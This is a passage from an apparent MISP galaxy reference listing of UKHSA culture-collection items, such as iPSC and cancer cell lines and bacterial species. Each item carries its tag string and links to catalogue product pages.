https://www.culturecollections.org.uk/nop/product/hpsi0114i-kolf_2

HPSI0513i-oarz_22

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-oarz_22"*

Table 26747. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-oarz_22

HPSI0913i-ffdl_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-ffdl_1"*

Table 26748. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-ffdl_1

HPSI0613i-eojr_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-eojr_3"*

Table 26749. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-eojr_3

HPSI0413i-ougl_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-ougl_3"*

Table 26750. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-ougl_3

HPSI0813i-uaqe_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-uaqe_1"*

Table 26751. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-uaqe_1

HPSI0513i-oibg_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-oibg_1"*

Table 26752. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-oibg_1

HPSI0513i-veve_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-veve_2"*

Table 26753. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-veve_2

HPSI0713i-ruyv_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-ruyv_3"*

Table 26754. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-ruyv_3

HPSI0913i-ruql_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-ruql_3"*

Table 26755. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-ruql_3

HPSI0713i-terl_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-terl_2"*

Table 26756. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-terl_2

HPSI0114i-oevr_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-oevr_3"*

Table 26757. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-oevr_3

HPSI1113i-hayt_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-hayt_3"*

Table 26758. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-hayt_3

HPSI0314i-qonc_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-qonc_2"*

Table 26759. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-qonc_2

HPSI1013i-jufd_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-jufd_3"*

Table 26760. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-jufd_3

HPSI0114i-zoxy_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-zoxy_3"*

Table 26761. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-zoxy_3

HPSI0513i-oeoo_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-oeoo_2"*

Table 26762. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-oeoo_2

HPSI0513i-euir_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-euir_1"*

Table 26763. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-euir_1

HPSI0114i-iisa_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-iisa_1"*

Table 26764. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-iisa_1

HPSI1013i-wuye_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-wuye_2"*

Table 26765. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-wuye_2

HPSI0114i-vabj_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-vabj_3"*

Table 26766. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-vabj_3

HPSI0214i-heja_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-heja_2"*

Table 26767. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-heja_2

HPSI1013i-kuxp_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-kuxp_1"*

Table 26768. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-kuxp_1

HPSI1213i-pahc_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1213i-pahc_4"*

Table 26769. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1213i-pahc_4

HPSI1113i-podx_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-podx_1"*

Table 26770. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-podx_1

HPSI0214i-kucg_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-kucg_2"*

Table 26771. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-kucg_2

HPSI0214i-pelm_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-pelm_1"*

Table 26772. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-pelm_1

HPSI0114i-kolf_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-kolf_3"*

Table 26773. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-kolf_3

HPSI0813i-iill_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-iill_1"*

Table 26774. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-iill_1

HPSI0314i-qaqx_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-qaqx_1"*

Table 26775. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-qaqx_1

HPSI0114i-eipl_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-eipl_1"*

Table 26776. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-eipl_1

HPSI0214i-heja_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-heja_1"*

Table 26777. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-heja_1

HPSI0813i-meqo_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-meqo_2"*

Table 26778. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-meqo_2

HPSI1013i-wuye_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-wuye_3"*

Table 26779. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-wuye_3

HPSI0913i-lise_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-lise_1"*

Table 26780. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-lise_1

HPSI0813i-robp_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-robp_3"*

Table 26781. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-robp_3

HPSI0813i-vajx_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-vajx_2"*

Table 26782. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-vajx_2

HPSI0713i-terl_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-terl_1"*

Table 26783. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-terl_1

HPSI0513i-suzg_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-suzg_3"*

Table 26784. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-suzg_3

HPSI0813i-civh_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-civh_1"*

Table 26785. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-civh_1

HPSI0613i-giuo_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-giuo_4"*

Table 26786. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-giuo_4

HPSI0314i-xugn_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-xugn_1"*

Table 26787. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-xugn_1

HPSI0314i-bubh_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-bubh_1"*

Table 26788. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-bubh_1

HPSI0214i-wibj_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-wibj_2"*

Table 26789. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-wibj_2

HPSI0114i-bezi_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-bezi_1"*

Table 26790. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-bezi_1

HPSI1113i-ieki_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-ieki_2"*

Table 26791. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-ieki_2

HPSI0114i-lexy_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-lexy_1"*

Table 26792. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-lexy_1

HPSI1113i-qorq_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-qorq_2"*

Table 26793. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-qorq_2

HPSI0713i-cicb_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-cicb_3"*

Table 26794. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-cicb_3

Streptococcus pseudoporcinus

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus pseudoporcinus"*

Table 26795. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-pseudoporcinus-2
https://www.culturecollections.org.uk/nop/product/streptococcus-pseudoporcinus

Streptococcus minor

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus minor"*

Table 26796. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-minor

Campylobacter estrildidarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter estrildidarum"*

Table 26797. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-estrildidarum

LoVo

The tag is: *misp-galaxy:ukhsa-culture-collections="LoVo"*

Table 26798. Table References

Links
https://www.culturecollections.org.uk/nop/product/lovo

Mycoplasma miroungirhinis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma miroungirhinis"*

Table 26799. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-miroungirhinis

Deinococcus radiodurans

The tag is: *misp-galaxy:ukhsa-culture-collections="Deinococcus radiodurans"*

Table 26800. Table References

Links
https://www.culturecollections.org.uk/nop/product/deinococcus-radiodurans

Legionella norrlandica

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella norrlandica"*

Table 26801. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-norrlandica

Salmonella enterica subsp. enterica serotype Blockley

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Blockley"*

Table 26802. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-blockley

PE/CA-PJ15

The tag is: *misp-galaxy:ukhsa-culture-collections="PE/CA-PJ15"*

Table 26803. Table References

Links
https://www.culturecollections.org.uk/nop/product/peca-pj15

MOR

The tag is: *misp-galaxy:ukhsa-culture-collections="MOR"*

Table 26804. Table References

Links
https://www.culturecollections.org.uk/nop/product/mor

KARPAS-25

The tag is: *misp-galaxy:ukhsa-culture-collections="KARPAS-25"*

Table 26805. Table References

Links
https://www.culturecollections.org.uk/nop/product/karpas-25

KARPAS-384

The tag is: *misp-galaxy:ukhsa-culture-collections="KARPAS-384"*

Table 26806. Table References

Links
https://www.culturecollections.org.uk/nop/product/karpas-384

H69V

The tag is: *misp-galaxy:ukhsa-culture-collections="H69V"*

Table 26807. Table References

Links
https://www.culturecollections.org.uk/nop/product/h69v

ESO51

The tag is: *misp-galaxy:ukhsa-culture-collections="ESO51"*

Table 26808. Table References

Links
https://www.culturecollections.org.uk/nop/product/eso51

C106

The tag is: *misp-galaxy:ukhsa-culture-collections="C106"*

Table 26809. Table References

Links
https://www.culturecollections.org.uk/nop/product/c106

C80

The tag is: *misp-galaxy:ukhsa-culture-collections="C80"*

Table 26810. Table References

Links
https://www.culturecollections.org.uk/nop/product/c80

HuP-T4

The tag is: *misp-galaxy:ukhsa-culture-collections="HuP-T4"*

Table 26811. Table References

Links
https://www.culturecollections.org.uk/nop/product/hup-t4

SW 837

The tag is: *misp-galaxy:ukhsa-culture-collections="SW 837"*

Table 26812. Table References

Links
https://www.culturecollections.org.uk/nop/product/sw-837

KLN 205

The tag is: *misp-galaxy:ukhsa-culture-collections="KLN 205"*

Table 26813. Table References

Links
https://www.culturecollections.org.uk/nop/product/kln-205

AK-D

The tag is: *misp-galaxy:ukhsa-culture-collections="AK-D"*

Table 26814. Table References

Links
https://www.culturecollections.org.uk/nop/product/ak-d

RFL-6

The tag is: *misp-galaxy:ukhsa-culture-collections="RFL-6"*

Table 26815. Table References

Links
https://www.culturecollections.org.uk/nop/product/rfl-6

HCA-46

The tag is: *misp-galaxy:ukhsa-culture-collections="HCA-46"*

Table 26816. Table References

Links
https://www.culturecollections.org.uk/nop/product/hca-46

HRA-16

The tag is: *misp-galaxy:ukhsa-culture-collections="HRA-16"*

Table 26817. Table References

Links
https://www.culturecollections.org.uk/nop/product/hra-16

HCA-24

The tag is: *misp-galaxy:ukhsa-culture-collections="HCA-24"*

Table 26818. Table References

Links
https://www.culturecollections.org.uk/nop/product/hca-24

LA1-55n

The tag is: *misp-galaxy:ukhsa-culture-collections="LA1-55n"*

Table 26819. Table References

Links
https://www.culturecollections.org.uk/nop/product/la1-55n

BHK21 Clone13-2P(Hektor)

The tag is: *misp-galaxy:ukhsa-culture-collections="BHK21 Clone13-2P(Hektor)"*

Table 26820. Table References

Links
https://www.culturecollections.org.uk/nop/product/bhk21-clone13-2phektor

EMT6/P

The tag is: *misp-galaxy:ukhsa-culture-collections="EMT6/P"*

Table 26821. Table References

Links
https://www.culturecollections.org.uk/nop/product/emt6p

COR-L95

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L95"*

Table 26822. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l95

LS180

The tag is: *misp-galaxy:ukhsa-culture-collections="LS180"*

Table 26823. Table References

Links
https://www.culturecollections.org.uk/nop/product/ls180

L1C6

The tag is: *misp-galaxy:ukhsa-culture-collections="L1C6"*

Table 26824. Table References

Links
https://www.culturecollections.org.uk/nop/product/l1c6-3

BB2

The tag is: *misp-galaxy:ukhsa-culture-collections="BB2"*

Table 26825. Table References

Links
https://www.culturecollections.org.uk/nop/product/bb2

OVPA8

The tag is: *misp-galaxy:ukhsa-culture-collections="OVPA8"*

Table 26826. Table References

Links
https://www.culturecollections.org.uk/nop/product/ovpa8

C75

The tag is: *misp-galaxy:ukhsa-culture-collections="C75"*

Table 26827. Table References

Links
https://www.culturecollections.org.uk/nop/product/c75

CHSE/F

The tag is: *misp-galaxy:ukhsa-culture-collections="CHSE/F"*

Table 26828. Table References

Links
https://www.culturecollections.org.uk/nop/product/chsef

Mycl-9E10

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycl-9E10"*

Table 26829. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycl-9e10-3

THP 1

The tag is: *misp-galaxy:ukhsa-culture-collections="THP 1"*

Table 26830. Table References

Links
https://www.culturecollections.org.uk/nop/product/thp-1-2

CHO-K1-AC-free

The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-K1-AC-free"*

Table 26831. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-k1-ac-free

Proteus mirabilis

The tag is: *misp-galaxy:ukhsa-culture-collections="Proteus mirabilis"*

Table 26832. Table References

Links
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-33
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-32
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-25
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-22
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-23
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-24
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-29
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-26
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-28
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-27

https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-31
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-30
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-21
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-13
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-4
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-8
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-3
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-19
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-11
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-2
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-5
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-15
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-9
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-17
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-6
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-12
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-10
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-16
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-7
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-14
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-18
https://www.culturecollections.org.uk/nop/product/proteus-mirabilis-20

Mycoplasma miroungigenitalium

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma miroungigenitalium"*

Table 26833. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-miroungigenitalium-2
https://www.culturecollections.org.uk/nop/product/mycoplasma-miroungigenitalium

Mycoplasma anatis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma anatis"*

Table 26834. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-anatis-4
https://www.culturecollections.org.uk/nop/product/mycoplasma-anatis-3
https://www.culturecollections.org.uk/nop/product/mycoplasma-anatis

Mycoplasma hominis

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma hominis"*

Table 26835. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-hominis-2

Mycoplasma phocoenae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma phocoenae"*

Table 26836. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-phocoenae

Yersinia enterocolitica

The tag is: *misp-galaxy:ukhsa-culture-collections="Yersinia enterocolitica"*

Table 26837. Table References

Links
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-16
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-15
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-14
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-6
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-7
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-5
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-10
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-13
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-8
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-9

https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-11
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-3
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-4
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-2
https://www.culturecollections.org.uk/nop/product/yersinia-enterocolitica-12

MT-2

The tag is: *misp-galaxy:ukhsa-culture-collections="MT-2"*

Table 26838. Table References

Links
https://www.culturecollections.org.uk/nop/product/mt-2-2

MT-4

The tag is: *misp-galaxy:ukhsa-culture-collections="MT-4"*

Table 26839. Table References

Links
https://www.culturecollections.org.uk/nop/product/mt-4

Aphanoascus fulvescens

The tag is: *misp-galaxy:ukhsa-culture-collections="Aphanoascus fulvescens"*

Table 26840. Table References

Links
https://www.culturecollections.org.uk/nop/product/aphanoascus-fulvescens
https://www.culturecollections.org.uk/nop/product/aphanoascus-fulvescens-4
https://www.culturecollections.org.uk/nop/product/aphanoascus-fulvescens-3
https://www.culturecollections.org.uk/nop/product/aphanoascus-fulvescens-2

EB185 (JC)

The tag is: *misp-galaxy:ukhsa-culture-collections="EB185 (JC)"*

Table 26841. Table References

Links
https://www.culturecollections.org.uk/nop/product/eb185-jc

VH2

The tag is: *misp-galaxy:ukhsa-culture-collections="VH2"*

Table 26842. Table References

Links
https://www.culturecollections.org.uk/nop/product/vh2

C0002

The tag is: *misp-galaxy:ukhsa-culture-collections="C0002"*

Table 26843. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0002

JB1

The tag is: *misp-galaxy:ukhsa-culture-collections="JB1"*

Table 26844. Table References

Links
https://www.culturecollections.org.uk/nop/product/jb1

LC0049

The tag is: *misp-galaxy:ukhsa-culture-collections="LC0049"*

Table 26845. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc0049-2

SC3236

The tag is: *misp-galaxy:ukhsa-culture-collections="SC3236"*

Table 26846. Table References

Links
https://www.culturecollections.org.uk/nop/product/sc3236-2

Salmonella enterica subsp. hibernicus

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. hibernicus"*

Table 26847. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-hibernicus

Streptococcus hyovaginalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Streptococcus hyovaginalis"*

Table 26848. Table References

Links
https://www.culturecollections.org.uk/nop/product/streptococcus-hyovaginalis

Enterococcus innesii

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterococcus innesii"*

Table 26849. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterococcus-innesii

Campylobacter aviculae

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter aviculae"*

Table 26850. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-aviculae-2

Campylobacter taeniopygiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Campylobacter taeniopygiae"*

Table 26851. Table References

Links
https://www.culturecollections.org.uk/nop/product/campylobacter-taeniopygiae

LC-2/ad

The tag is: *misp-galaxy:ukhsa-culture-collections="LC-2/ad"*

Table 26852. Table References

Links
https://www.culturecollections.org.uk/nop/product/lc-2ad

RAJI TK+

The tag is: *misp-galaxy:ukhsa-culture-collections="RAJI TK+"*

Table 26853. Table References

Links
https://www.culturecollections.org.uk/nop/product/raji-tk

KT15

The tag is: *misp-galaxy:ukhsa-culture-collections="KT15"*

Table 26854. Table References

Links
https://www.culturecollections.org.uk/nop/product/kt15

AC0291

The tag is: *misp-galaxy:ukhsa-culture-collections="AC0291"*

Table 26855. Table References

Links
https://www.culturecollections.org.uk/nop/product/ac0291

MCF7/LetR-3

The tag is: *misp-galaxy:ukhsa-culture-collections="MCF7/LetR-3"*

Table 26856. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcf7letr-3-2

BEAS-2B

The tag is: *misp-galaxy:ukhsa-culture-collections="BEAS-2B"*

Table 26857. Table References

Links
https://www.culturecollections.org.uk/nop/product/beas-2b

Enterobacter quasihormaechei

The tag is: *misp-galaxy:ukhsa-culture-collections="Enterobacter quasihormaechei"*

Table 26858. Table References

Links
https://www.culturecollections.org.uk/nop/product/enterobacter-quasihormaechei

Corynebacterium hindlerae

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium hindlerae"*

Table 26859. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-hindlerae

Salmonella enterica subsp. enterica Serotype Gallinarum var. Gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica Serotype Gallinarum var. Gallinarum"*

Table 26860. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-gallinarum-var-gallinarum-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-gallinarum-var-gallinarum

Salmonella enterica subsp. enterica serotype Muenchen

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Muenchen"*

Table 26861. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-muenchen-2
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-muenchen

Mycoplasma enhydrae

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycoplasma enhydrae"*

Table 26862. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycoplasma-enhydrae-5
https://www.culturecollections.org.uk/nop/product/mycoplasma-enhydrae-4
https://www.culturecollections.org.uk/nop/product/mycoplasma-enhydrae-3
https://www.culturecollections.org.uk/nop/product/mycoplasma-enhydrae-2
https://www.culturecollections.org.uk/nop/product/mycoplasma-enhydrae

Salmonella enterica subsp. salamae

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. salamae"*

Table 26863. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-salamae

Salmonella enterica subsp. enterica serotype Anatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Anatum"*

Table 26864. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-anatum
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-anatum-2

Salmonella enterica subsp. enterica serotype Rostock

The tag is: *misp-galaxy:ukhsa-culture-collections="Salmonella enterica subsp. enterica serotype Rostock"*

Table 26865. Table References

Links
https://www.culturecollections.org.uk/nop/product/salmonella-enterica-subsp-enterica-serotype-rostock

ANGM-CSS

The tag is: *misp-galaxy:ukhsa-culture-collections="ANGM-CSS"*

Table 26866. Table References

Links
https://www.culturecollections.org.uk/nop/product/angm-css

HRA-19a1.1

The tag is: *misp-galaxy:ukhsa-culture-collections="HRA-19a1.1"*

Table 26867. Table References

Links
https://www.culturecollections.org.uk/nop/product/hra-19a11

UKTS9074

The tag is: *misp-galaxy:ukhsa-culture-collections="UKTS9074"*

Table 26868. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukts9074

C0925

The tag is: *misp-galaxy:ukhsa-culture-collections="C0925"*

Table 26869. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0925

C0926

The tag is: *misp-galaxy:ukhsa-culture-collections="C0926"*

Table 26870. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0926

C0927

The tag is: *misp-galaxy:ukhsa-culture-collections="C0927"*

Table 26871. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0927

C0928

The tag is: *misp-galaxy:ukhsa-culture-collections="C0928"*

Table 26872. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0928

C0929

The tag is: *misp-galaxy:ukhsa-culture-collections="C0929"*

Table 26873. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0929

C0931

The tag is: *misp-galaxy:ukhsa-culture-collections="C0931"*

Table 26874. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0931

C0932

The tag is: *misp-galaxy:ukhsa-culture-collections="C0932"*

Table 26875. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0932

C0781

The tag is: *misp-galaxy:ukhsa-culture-collections="C0781"*

Table 26876. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0781

C0786

The tag is: *misp-galaxy:ukhsa-culture-collections="C0786"*

Table 26877. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0786

C0835

The tag is: *misp-galaxy:ukhsa-culture-collections="C0835"*

Table 26878. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0835

C0832

The tag is: *misp-galaxy:ukhsa-culture-collections="C0832"*

Table 26879. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0832

C0839

The tag is: *misp-galaxy:ukhsa-culture-collections="C0839"*

Table 26880. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0839

C0829

The tag is: *misp-galaxy:ukhsa-culture-collections="C0829"*

Table 26881. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0829

C2013

The tag is: *misp-galaxy:ukhsa-culture-collections="C2013"*

Table 26882. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2013

C2012

The tag is: *misp-galaxy:ukhsa-culture-collections="C2012"*

Table 26883. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2012

C2021

The tag is: *misp-galaxy:ukhsa-culture-collections="C2021"*

Table 26884. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2021

C2020

The tag is: *misp-galaxy:ukhsa-culture-collections="C2020"*

Table 26885. Table References

Links
https://www.culturecollections.org.uk/nop/product/c2020

C0845

The tag is: *misp-galaxy:ukhsa-culture-collections="C0845"*

Table 26886. Table References

Links
https://www.culturecollections.org.uk/nop/product/c0845

C2018

